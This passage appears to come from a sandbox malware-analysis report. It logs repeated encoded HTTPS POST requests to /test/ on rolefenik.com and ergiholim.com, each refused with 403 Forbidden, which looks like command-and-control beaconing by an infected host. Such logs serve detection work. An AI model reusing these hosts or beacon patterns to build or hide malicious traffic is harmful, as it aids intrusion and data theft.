2024-11-13 17:22:55 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:56 UTC	747	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=monfumrc7VHXqkomkrIvIZe%2FRHjcZyB2TZSs9dS43RiCxTOCNj8VRp1LzP8Txlrlgln01y%2BzU8BYDpgHBmgMsqh470SpVZSr3iC02G0nUV9nnBJKXDTHC2GK9FpzC410"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2072578bd8d761-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=137573&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=21049&cwnd=32&unsent_bytes=0&cid=e53bcc705fcab88e&ts=1241&x=0"
2024-11-13 17:22:56 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	50046	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:57 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:57 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:57 UTC	747	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F6pYaYF214rnQtg64g8L6p6AL9LspkjxnVvl%2FId2AYBLSJKWi1rxSX2LydKU2wcH%2FAmVntqpdHvWcQlbcycetsatnHuovII783CcJR6KbhyFFEHacZ%2BzitzPNyBDLVMC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2072636a6bc979-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=33447&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=86626&cwnd=32&unsent_bytes=0&cid=da1362e8537745c5&ts=286&x=0"
2024-11-13 17:22:57 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	50047	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:58 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:58 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:59 UTC	748	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XGHHpDIDBXY2ts8C6KRtMUd%2FdgBdVjj%2BDKak8YTJ1m77jf7JQm82kt0wP7Rftyn6Ymu0toZMQo6YMFKYs6Ux2Z3i90PCwHVCdmYMT8W89Wp6UHAmfpPE6nCTCN4dJe57"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20726efa546b06-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1313&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=2360228&cwnd=236&unsent_bytes=0&cid=6e26bb5a99c475d5&ts=1426&x=0"
2024-11-13 17:22:59 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	50048	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:00 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:00 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:00 UTC	748	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=53FK1MbVdP2exh9R30Zbk6wUIj0r9cdGiJEouY9XFL5YFoYuayPQEQL0%2FLNzqWzw72Zgu5iDF%2FzsHbFIk04nzdwXPVMZ%2BOFncGxuZnHtrCrDQRcNzUeFnZJz3fHaFz8n"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2072779d65d744-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=130818&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=22142&cwnd=32&unsent_bytes=0&cid=56f90b16cfacd2ba&ts=505&x=0"
2024-11-13 17:23:00 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	50049	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:01 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:01 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:02 UTC	747	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sDwovdz1JJdMtieF51S4hW2OaKNbVPuLAZv1W8B6JSTPqDI9%2FrSNtPu2IaPoEqdX5ERzePuHxLiLxr1pv%2Fee9N%2BTFjwRZruV2KzxaDDkoYuYsaD39Mtsh9WOVOUebuY9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e207281082f230e-SJC alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=41539&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=69692&cwnd=32&unsent_bytes=0&cid=4f6311489d8c8a45&ts=649&x=0"
2024-11-13 17:23:02 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	50050	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:03 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:03 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:03 UTC	742	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8tFLPmqI799PnVeBOrq5G5ZXAMN6sjSzNTOcBhKuiHacpHIge4bmsDB7A6gBXEQ9I5TCD6VzQUzpKjQ23r2YwtumxUU5xw99TerBLalDxEsW1QvmHoUGFJQieEjbSOd7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20728b5edfd773-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=137262&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=21077&cwnd=32&unsent_bytes=0&cid=0dc08ebf919023c0&ts=507&x=0"
2024-11-13 17:23:03 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	50051	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:04 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:04 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:05 UTC	747	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0nSy34c9HeRGYq1rso4OjG3DbafnyF3HcR4LJzS6%2B8EkflOWT1vQ2dPE1xON9f30KM0IzfEgx%2FN9sDiVeDEdii1NoYMzM3f0a%2Fw1toPlx9AVinICfYUm9EmcwwQkXE36"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2072932fe9c991-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=33698&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=85843&cwnd=32&unsent_bytes=0&cid=242a4841e244cbd9&ts=379&x=0"
2024-11-13 17:23:05 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	50053	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:06 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:06 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:06 UTC	748	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ugTmQJwoSTRLngQursOqTYXHNAD%2FbK3wnmoQwVwbfcW4W%2BQ9B0WoxujjHmJ4eg5tRu0HHaxBaXQ5u7oAS7veuAeSl%2BzgSREM22vjTQkjj5VHRnWm1ZplJXGUeZDLeg24"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20729d987ad754-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=142391&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=18051&cwnd=32&unsent_bytes=0&cid=353bf2596d3dc2ed&ts=868&x=0"
